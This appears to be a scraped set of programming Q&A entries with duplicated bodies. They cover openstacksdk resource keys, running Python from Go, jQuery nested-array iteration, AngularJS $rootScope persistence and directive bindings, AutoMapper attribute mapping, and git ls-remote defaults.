How to use the resource_key, resources_key and base_path in openstacksdk?

答:
the resource_key and resources_key are for internal interactions with backend services (e.g. nova compute, cinder storage). Users are not supposed to use them directly.

However, if you are planning to help out on improving openstacksdk, you will need to understand that resources_key is a component for your URL path to operate on a collection of objects, while resource_key is another path component for you to interact with a specific instance. Read some raw API design would be helpful for you to understand it.

Body:
How to use the resource_key and resources_key in openstacksdk Resource?

In the openstack/compute/v2/Image:

class Image(resource2.Resource, metadata.MetadataMixin):
    resource_key = 'image'
    resources_key = 'images'
    base_path = '/images'
    service = compute_service.ComputeService()

    # capabilities
    allow_get = True
    allow_delete = True
    allow_list = True

There are resource_key,resources_keyand base_path.
is this representative the resource path like rest_framework?

How to use the resource_key, resources_key and base_path in openstacksdk?


问:
Why I run python script from golang wrong
```<code>import (
    "fmt"
    "os/exec"
    "bytes"
)

func main() {
    cmd :="/root/hi.py > /root/1.log"

    out,err:= exec.Command("python","-c",cmd).Output()
    fmt.Printf("Out: %s ", string(out))
    fmt.Printf("Err: %s ", err.Error())

}
</code>```

Error: no such file error: /root/hi.py > /root/1.log

```<code>//hi.py

#! /usr/bin/python

print('hello world')
</code>```

答: Where’s file hi.py located? Try to split it by arguments, it seems to try filename /root/hi.py > /root/1.log

Body:
import (
    "fmt"
    "os/exec"
    "bytes"
)

func main() {
    cmd :="/root/hi.py > /root/1.log"

    out,err:= exec.Command("python","-c",cmd).Output()
    fmt.Printf("Out: %s ", string(out))
    fmt.Printf("Err: %s ", err.Error())

}

Error: no such file error: /root/hi.py > /root/1.log

//hi.py

#! /usr/bin/python

print('hello world')


问:
Get array within an object
I am trying to get the array value from the object I created but seems like that obj.item is not working to me. It always saying undefined here's my code::

```<code>$.each(componentSentenceArray, function(index,item) {
          conole.log(item.item_name)

});
</code>```

and here is my object

```<code>ingredient:
Array(3)
0:{item_name: "Albenza", uom_code: "", uom_desc: "", amount: ""}
1:{item_name: "Baclofen", uom_code: "", uom_desc: "", amount: ""}
2:{item_name: "Lasix", uom_code: "", uom_desc: "", amount: ""}

main_component:
Array(1)
0 :{item_name: "Lasix", uom_code: "", uom_desc: "", amount: ""}
</code>```

答:
$(document).ready(function() {
  var componentSentenceArray = {
    ingredient: [{
        item_name: "Albenza",
        uom_code: "",
        uom_desc: "",
        amount: ""
      },
      {
        item_name: "Baclofen",
        uom_code: "",
        uom_desc: "",
        amount: ""
      },
      {
        item_name: "Lasix",
        uom_code: "",
        uom_desc: "",
        amount: ""
      }
    ],
    main_component: [{
      item_name: "Lasix",
      uom_code: "",
      uom_desc: "",
      amount: ""
    }]
  };

  $.each(componentSentenceArray, function(index, item) {
    $.each(item, function(index, item1) {
      console.log(item1.item_name);
    });
  });
});```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script></code>```

This should work for you. You are having array list inside and object which you should loop again to access its variable.

```<code>  $.each(componentSentenceArray, function(index,item) {
    $.each(item, function(index,item1) {
      console.log(item1.item_name);
    });
  });
</code>```

Title: Get array within an object

Body:
I am trying to get the array value from the object I created but seems like that obj.item is not working to me. It always saying undefined here's my code::

$.each(componentSentenceArray, function(index,item) {
          conole.log(item.item_name)

});

and here is my object

ingredient:
Array(3)
0:{item_name: "Albenza", uom_code: "", uom_desc: "", amount: ""}
1:{item_name: "Baclofen", uom_code: "", uom_desc: "", amount: ""}
2:{item_name: "Lasix", uom_code: "", uom_desc: "", amount: ""}

main_component:
Array(1)
0 :{item_name: "Lasix", uom_code: "", uom_desc: "", amount: ""}

Body:
$(document).ready(function() {
  var componentSentenceArray = {
    ingredient: [{
        item_name: "Albenza",
        uom_code: "",
        uom_desc: "",
        amount: ""
      },
      {
        item_name: "Baclofen",
        uom_code: "",
        uom_desc: "",
        amount: ""
      },
      {
        item_name: "Lasix",
        uom_code: "",
        uom_desc: "",
        amount: ""
      }
    ],
    main_component: [{
      item_name: "Lasix",
      uom_code: "",
      uom_desc: "",
      amount: ""
    }]
  };

  $.each(componentSentenceArray, function(index, item) {
    $.each(item, function(index, item1) {
      console.log(item1.item_name);
    });
  });
});

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

This should work for you. You are having array list inside and object which you should loop again to access its variable.

  $.each(componentSentenceArray, function(index,item) {
    $.each(item, function(index,item1) {
      console.log(item1.item_name);
    });
  });


问:
Angularjs rootscope data loss in refreshing
i got a situation in angularjs1.x
when i am save a value in   $rootScope after pass the next page/router

The $rootScope value is lost in  Refresh f5/reload (window reload)

without using localStorage

答:
Basically refreshing the page will wipe your $rootscope from memory (basically your entire app will be 'restarted').

In order to persist values you must store your value somewhere, you can use either localStorage/sessionStorage.

for example :

```<code>localStorage.setItem("yourKey", "YourValue");
</code>```

and you can get it after page refreshed like :

```<code>localStorage.getItem("yourKey")// YourValue
</code>```

read more about it here

Body:
Basically refreshing the page will wipe your $rootscope from memory (basically your entire app will be 'restarted').

In order to persist values you must store your value somewhere, you can use either localStorage/sessionStorage.

for example :

localStorage.setItem("yourKey", "YourValue");

and you can get it after page refreshed like :

localStorage.getItem("yourKey")// YourValue

read more about it here


问:
Attribute driven AutoMapper settings
I want to create Attribute based AutoMapper functionality.
I need to map domain model class to DTO and reverse, but some properties from DTO should never be mapped back to domain class. As read only property. Only direction from server to client is allowed.

Ok, so I have this

```<code>public class Person
{
    public int Id { get; set; }
    public string Name { get; set; }
}

public class PersonDTO
{
    [MapperDirection(Direction.ClientToServer)]
    public string Name { get; set; }
    public string Metadata { get; set; }
}
</code>```

Because I want to set direction using attributes, I have this one

```<code>[Flags]
public enum Direction
{
    None = 0,
    ServerToClient = 1,
    ClientToServer = 2,
    Both = 4
}

[AttributeUsage(AttributeTargets.Property)]
public class MapperDirectionAttribute : Attribute
{
    public Direction Direction { get; }

    public MapperDirectionAttribute(Direction direction = Direction.Both)
    {
        Direction = direction;
    }
}
</code>```

I decorated Name property on DTO class to allow only server to client direction for name.

As helper for mapper I have this extension to copy all values from source to target based on attribute setting

```<code>public static class MapperExpressions
{
    public static IMappingExpression<TSource, TDestination> OnlyIfClientToServer<TSource, TDestination>(this IMappingExpression<TSource, TDestination> expression)
    {
        var sourceType = typeof(TSource);
        var props = sourceType.GetMembers().Where(prop => prop.IsDefined(typeof(MapperDirectionAttribute), false));
        foreach (var property in props)
        {
            var attribute = property.GetCustomAttribute<MapperDirectionAttribute>();
            var allow = attribute.Direction == Direction.ClientToServer || attribute.Direction == Direction.Both;
            if (!allow)
            {
                // THIS DOESN'T WORK FOR SOURCE MEMBER
                // AND CAN'T BE USED FOR DESTINATION MEMBER (BECAUSE OF MISSING PROPERTIES)
                expression.ForSourceMember(property.Name, opt => opt.Ignore());
            }
        }

        return expression;
    }
}
</code>```

So Mapper init is

```<code>        // Init mapper
        Mapper.Initialize(cfg =>
        {
            cfg.CreateMap<Person, PersonDTO>();

            cfg.CreateMap<PersonDTO, Person>()
                .OnlyIfClientToServer();
            //.ForSourceMember(src => src.Name, src => src.Ignore()) // DOESN'T WORK
            //.ForMember(dst => dst.Name, dst => dst.Ignore()); // WORKS, BUT DON'T WANT EXPLICIT DEFINITION
        });
</code>```

And some part of console application

```<code>        // Map Domain -> ViewModel
        var person = new Person { Id = 1, Name = "Default Name From Domain" };
        var personDto = Mapper.Map<PersonDTO>(person);

        Console.WriteLine($"Person: Id = '{person.Id}', Name = '{person.Name}'");
        Console.WriteLine($"PersonDTO: Name = '{personDto.Name}', Metadata = '{personDto.Metadata}'");
        Console.WriteLine();

        // Map ViewModel -> Domain
        personDto.Name = "Changed from DTO";
        personDto.Metadata = "Custom metadata from DTO";
        Mapper.Map(personDto, person);

        Console.WriteLine($"PersonDTO: Name = '{personDto.Name}', Metadata = '{personDto.Metadata}'");
        Console.WriteLine($"Person: Id = '{person.Id}', Name = '{person.Name}'");

        Console.ReadLine();
</code>```

And now problems.

I want to know, why ForSourceMember is not working as expected? How to prevent mapping using source member?

I can't use ForMember mapping, because for me Source is decorated, Destination is just domain model. Other problem is, that not all properties in DTO class are in domain class, so my extension raises exception of course.

Only solution I found, how to maintain copied propertie, is in CreateMap<>, but I don't want to add all properties to configuration code. Attributes are better to setup.

Anyone knows how to fix my solution to keep all logic in AutoMapper extension?

答: ForSourceMember is just for validation, it doesn't really ignore for mapping purposes like ForMember->Ignore. So you need to configure the reverse map with ForMember to achieve what you want. You could try to do this in a generic way using ForAllPropertyMaps.</p>

Title: Attribute driven AutoMapper settings

Body:
I want to create Attribute based AutoMapper functionality.
I need to map domain model class to DTO and reverse, but some properties from DTO should never be mapped back to domain class. As read only property. Only direction from server to client is allowed.

Ok, so I have this

public class Person
{
    public int Id { get; set; }
    public string Name { get; set; }
}

public class PersonDTO
{
    [MapperDirection(Direction.ClientToServer)]
    public string Name { get; set; }
    public string Metadata { get; set; }
}

Because I want to set direction using attributes, I have this one

[Flags]
public enum Direction
{
    None = 0,
    ServerToClient = 1,
    ClientToServer = 2,
    Both = 4
}

[AttributeUsage(AttributeTargets.Property)]
public class MapperDirectionAttribute : Attribute
{
    public Direction Direction { get; }

    public MapperDirectionAttribute(Direction direction = Direction.Both)
    {
        Direction = direction;
    }
}

I decorated Name property on DTO class to allow only server to client direction for name.

As helper for mapper I have this extension to copy all values from source to target based on attribute setting

public static class MapperExpressions
{
    public static IMappingExpression<TSource, TDestination> OnlyIfClientToServer<TSource, TDestination>(this IMappingExpression<TSource, TDestination> expression)
    {
        var sourceType = typeof(TSource);
        var props = sourceType.GetMembers().Where(prop => prop.IsDefined(typeof(MapperDirectionAttribute), false));
        foreach (var property in props)
        {
            var attribute = property.GetCustomAttribute<MapperDirectionAttribute>();
            var allow = attribute.Direction == Direction.ClientToServer || attribute.Direction == Direction.Both;
            if (!allow)
            {
                // THIS DOESN'T WORK FOR SOURCE MEMBER
                // AND CAN'T BE USED FOR DESTINATION MEMBER (BECAUSE OF MISSING PROPERTIES)
                expression.ForSourceMember(property.Name, opt => opt.Ignore());
            }
        }

        return expression;
    }
}

So Mapper init is

        // Init mapper
        Mapper.Initialize(cfg =>
        {
            cfg.CreateMap<Person, PersonDTO>();

            cfg.CreateMap<PersonDTO, Person>()
                .OnlyIfClientToServer();
            //.ForSourceMember(src => src.Name, src => src.Ignore()) // DOESN'T WORK
            //.ForMember(dst => dst.Name, dst => dst.Ignore()); // WORKS, BUT DON'T WANT EXPLICIT DEFINITION
        });

And some part of console application

        // Map Domain -> ViewModel
        var person = new Person { Id = 1, Name = "Default Name From Domain" };
        var personDto = Mapper.Map<PersonDTO>(person);

        Console.WriteLine($"Person: Id = '{person.Id}', Name = '{person.Name}'");
        Console.WriteLine($"PersonDTO: Name = '{personDto.Name}', Metadata = '{personDto.Metadata}'");
        Console.WriteLine();

        // Map ViewModel -> Domain
        personDto.Name = "Changed from DTO";
        personDto.Metadata = "Custom metadata from DTO";
        Mapper.Map(personDto, person);

        Console.WriteLine($"PersonDTO: Name = '{personDto.Name}', Metadata = '{personDto.Metadata}'");
        Console.WriteLine($"Person: Id = '{person.Id}', Name = '{person.Name}'");

        Console.ReadLine();

And now problems.

I want to know, why ForSourceMember is not working as expected? How to prevent mapping using source member?

I can't use ForMember mapping, because for me Source is decorated, Destination is just domain model. Other problem is, that not all properties in DTO class are in domain class, so my extension raises exception of course.

Only solution I found, how to maintain copied propertie, is in CreateMap<>, but I don't want to add all properties to configuration code. Attributes are better to setup.

Anyone knows how to fix my solution to keep all logic in AutoMapper extension?


问:
What is the default repository in command "git ls-remote --tags"
In Git's manual page, <repository> argument in ls-remote command is optional. But it does not specify the behavior when it is not given.

A few testings seems to show that Git uses origin as the default (Yes, I have multiple remote repositories).  When origin remote repository does not exist, it seems to return an error message fatal: No remote configured to list refs from.

Yet my tests are finite (and no way to test infinite cases).  So, can anyone confirm that the default is in deed origin?

Or, is any command I neglected, which sets the default repository mentioned above?

答:
So, can anyone confirm that the default is in deed origin?

The sources from Git itself can confirm that.

For instance, see git/git/t/t5512-ls-remote.sh

```<code>test_expect_success 'dies when no remote specified and no default remotes found' '
    test_must_fail git ls-remote
'
test_expect_success 'use "origin" when no remote specified' '
</code>```

But the same tests includes:

```<code>test_expect_success 'use branch.<name>.remote if possible' '
    #
    # Test that we are indeed using branch.<name>.remote, not "origin", even
    # though the "origin" remote has been set.
    #
</code>```

So the actual default for git ls-remote is the upstream branch remote (or origin is no upstream branch was associated to the current branch)

```<code>git config branch.<name>.remote
</code>```

Body:
So, can anyone confirm that the default is in deed origin?

The sources from Git itself can confirm that.

For instance, see git/git/t/t5512-ls-remote.sh

test_expect_success 'dies when no remote specified and no default remotes found' '
    test_must_fail git ls-remote
'
test_expect_success 'use "origin" when no remote specified' '

But the same tests includes:

test_expect_success 'use branch.<name>.remote if possible' '
    #
    # Test that we are indeed using branch.<name>.remote, not "origin", even
    # though the "origin" remote has been set.
    #

So the actual default for git ls-remote is the upstream branch remote (or origin is no upstream branch was associated to the current branch)

git config branch.<name>.remote


问:
What is the difference between '@' and '=' in directive scope in AngularJS?
I've read the AngularJS documentation on the topic carefully, and then fiddled around with a directive. Here's the fiddle.

And here are some relevant snippets:

From the HTML:

```<code><pane bi-title="title" title="{{title}}">{{text}}</pane>
</code>```

From the pane directive:

```<code>scope: { biTitle: '=', title: '@', bar: '=' },
</code>```

There are several things I don't get:

Why do I have to use "{{title}}" with '@' and "title" with '='?

Can I also access the parent scope directly, without decorating my element with an attribute?

The documentation says "Often it's desirable to pass data from the isolated scope via expression and to the parent scope", but that seems to work fine with bidirectional binding too. Why would the expression route be better?

I found another fiddle that shows the expression solution too: http://jsfiddle.net/maxisam/QrCXh/

答:
@ Attribute string binding (one way)
= Two-way model binding
& Callback method binding</p>

Body:
I've read the AngularJS documentation on the topic carefully, and then fiddled around with a directive. Here's the fiddle.

And here are some relevant snippets:

From the HTML:

<pane bi-title="title" title="{{title}}">{{text}}</pane>

From the pane directive:

scope: { biTitle: '=', title: '@', bar: '=' },

There are several things I don't get:

Why do I have to use "{{title}}" with '@' and "title" with '='?

Can I also access the parent scope directly, without decorating my element with an attribute?

The documentation says "Often it's desirable to pass data from the isolated scope via expression and to the parent scope", but that seems to work fine with bidirectional binding too. Why would the expression route be better?

I found another fiddle that shows the expression solution too: http://jsfiddle.net/maxisam/QrCXh/